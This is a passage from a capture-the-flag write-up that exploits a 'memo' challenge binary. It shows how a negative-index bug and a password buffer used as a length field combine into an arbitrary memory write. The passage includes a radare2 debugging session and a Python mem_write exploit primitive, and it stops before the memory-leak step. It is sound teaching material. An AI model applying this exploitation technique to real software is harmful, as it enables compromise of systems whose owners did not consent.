Arbitrary Write
Putting it together, we can realize that an arbitrary memory write exists. The edit function allows you to edit the last written memo. It utilizes the global index value to track what the last written index was, and allows you to use negative indexes. What this means is, we can edit a message that never existed, and we can control the location that is being written to, thus an arbitrary write.
Step one is we want to be able to set the global index variable without causing the program to exit. Recall that if we try a negative index, it caused the program to spit out an error. However, look closely at that function:
We get the "Index too large" error, but there's a check before that. The very first block has a check to see if the index is in use before checking if the index is too large. This means if we can select a negative index and ensure that it is non-zero, we can set our index to it. Using a debugger, we can take a peek at where this is.
[0x7f81fb542cc0]> db 0x400C8E
[0x7f81fb542cc0]> dc
Selecting and continuing: 121375
What's user name: AAAAAAAAAAAAAAAAA
Do you wanna set password? (y/n) y
Password must be set to 32 digits or less.
Password: BBBBBBBBBBBBBBB
Done! have a good day AAAAAAAAAAAAAAAAA
1. Leave message on memo
2. Edit message last memo
3. View memo
4. Delete memo
5. Change password
6. Quit.
>> 1
Index: -8
hit breakpoint at: 400c8e
[0x00400c8e]> drr
rax 0x0000000000602a30 (.bss) (/home/user/bkp/pwn/memo/memo) rax program ascii R W 0xa41 (A
)
rbx 0x0000000000000000 r8
rcx 0x00000000ffffffda rcx
rdx 0x0000000000000001 (.comment) rdx
r8 0x0000000000000000 r8
r9 0x1999999999999999 r9
r10 0x0000000000000000 r8
r11 0x00007f81fb2efa00 (/lib/x86_64-linux-gnu/libc-2.23.so) r11 library R X 'add al, byte [rax]' 'libc-2.23.so' (𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂�����������������翰< 翿翆��p喪�k�喪�翿翆��p喪�喪�喪�翿翆翆0喪�翿翆翆0喪 翿< 翿翆�喪�唁)
r12 0x00000000004008a0 (.text) (/home/user/bkp/pwn/memo/memo) r12 entry0 program R X 'xor ebp, ebp' 'memo'
r13 0x00007ffe3a0ffe40 r13 stack R W 0x1 --> (.comment) rdx
r14 0x0000000000000000 r8
r15 0x0000000000000000 r8
rsi 0x0000000000000008 (.comment) rsi
rdi 0x00007ffe3a0ffcf2 rdi stack R W 0xc4a00000000000a
rsp 0x00007ffe3a0ffd10 rsp stack R W 0x0 --> r8
rbp 0x00007ffe3a0ffd20 rbp stack R W 0x7ffe3a0ffd60 --> stack R W 0x401200 --> (.text) (/home/user/bkp/pwn/memo/memo) fcn.00401200 fcn.00401200 program R X 'push r15' 'memo'
rip 0x0000000000400c8e (.text) (/home/user/bkp/pwn/memo/memo) rip fcn.00400c52 program R X 'mov rax, qword [rax]' 'memo'
cs 0x0000000000000033 (.comment) ascii
rflags C1PI rflags
orax 0xffffffffffffffff orax
ss 0x000000000000002b (.comment) ascii
fs_base 0x00007f81fb736700 (unk1) R W 0x7f81fb736700
gs_base 0x0000000000000000 r8
ds 0x0000000000000000 r8
es 0x0000000000000000 r8
fs 0x0000000000000000 r8
gs 0x0000000000000000 r8
Note rax. We can see that when i use the index -8 (chosen mostly arbitrarily), the leave message function looks for the index 16 bytes into the username. Since I didn't want to bother moving offsets around, i just stuck with this index for the rest. However, if you wanted to move it you certainly could. In fact, -10 might be a better choice as it puts the index right at the beginning of your username global.
Now that we can set the global index variable, we can use that to control a write using the edit function. However, one things that happen in the edit function is it checks the memo length array for how much to read.
We can calculate where this value will end up fairly easily.
hex(0x602A60 - (8*4)) == 0x602a40
So we know that 0x602a40 is actually the start of our password buffer. We now know where we must store a size value. These two pieces combined give us our arbitrary memory write. In python, I wrote it up as follows:
def mem_write(addr,value,size):
global username
global password
# Bad chars
if "\x0a" in p64(addr) or "\x0a" in p32(size) or "\x0a" in value:
return False
new_username = "A"*0x10 + p64(addr) + "\n" # Write to addr
new_password = p32(size) + "\x00" # Number of bytes to read
# Setup our pointers
if not change_password(password,new_username,new_password):
return False
# Remember our pass
password = new_password
if not edit_message(value + "\n"): # Write to memory address
return False
return True
Note that I have written helper functions (such as change_password) that just wrap those binary calls. I'm not going to go into those as they are fairly strait forward.
To use this, we need to be able to remove some randomization of the binary first. That means, in this case, a memory leak.